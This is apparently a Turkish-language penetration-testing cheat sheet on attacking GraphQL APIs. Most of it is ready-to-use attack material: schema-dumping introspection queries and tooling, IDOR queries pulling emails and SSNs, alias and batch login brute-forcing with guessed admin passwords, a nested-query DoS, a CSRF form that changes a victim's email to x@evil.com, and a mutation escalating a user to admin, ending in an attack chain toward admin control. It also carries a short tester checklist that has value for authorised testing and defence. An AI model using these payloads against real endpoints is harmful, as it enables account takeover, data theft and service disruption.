Skip to content

GraphQL Saldırıları

API difficulty: orta

GraphQL tek uç üzerinden esnek sorgular sunar; bu esneklik yanlış yapılandırıldığında şema ifşası, yetki atlatma, brute force ve DoS kapıları açar. Tipik path: /graphql, /api/graphql, /graphiql.

query Introspection {
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
args { name type { name kind ofType { name } } }
type { name kind ofType { name } }
}
}
}
}
Terminal window
python3 clairvoyance.py https://hedef/graphql -o schema.json

Introspection kapalıysa field suggestion hatalarından (“Did you mean…?”) şema çıkarımı yapılabilir.

  1. Yetkilendirme atlatma / IDOR :

    query { user(id: "2") { email ssn role } }
    query { node(id: "Order:1025") { ... on Order { total } } }
  2. Alias ile rate-limit atlatma :

    mutation {
    a1: login(user:"admin", pass:"Winter2024") { token }
    a2: login(user:"admin", pass:"Welcome1!") { token }
    a3: login(user:"admin", pass:"Password1") { token }
    }
  3. Batching (Apollo JSON dizi):

    [
    {"query":"mutation { login(pass:\"a\"){ok} }"},
    {"query":"mutation { login(pass:\"b\"){ok} }"}
    ]
  4. Derinlik / karmaşıklık DoS :

    query {
    posts { author { posts { author { posts { id } } } } }
    }
  5. Injection — resolver SQL/NoSQL/OS’e aktarıyorsa argümanda klasik payload.

  6. Mutation suistimali — updateUserRole , debug , impersonate .

<form action="https://hedef/graphql" method="POST">
<input name="query" value='mutation{changeEmail(e:"x@evil.com"){ok}}'>
</form>

CORS gevşek + cookie session → CSRF benzeri mutation.

mutation {
updateUser(id: 2, input: { role: "admin", email: "x@evil.com" }) {
id role
}
}
□ Global node ID tahmin / sızıntı
□ Connection/edge pagination ile tüm kayıtlar
□ __typename + id → diğer tiplere pivot
Terminal window
graphw00f -d -t https://hedef/graphql
Terminal window
curl -s https://hedef/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__typename}"}'
□ Introspection / GraphiQL production'da açık mı?
□ Sensitive field'lar IDOR ile okunuyor mu?
□ Alias/batch login brute
□ Depth/cost limit var mı?
□ Mutations: authz her field'da mı?
□ File upload scalar / multipart GraphQL
□ Subscription / WebSocket authz
graphw00f → introspection dump
→ hassas query field IDOR
→ alias login brute → token
→ admin mutation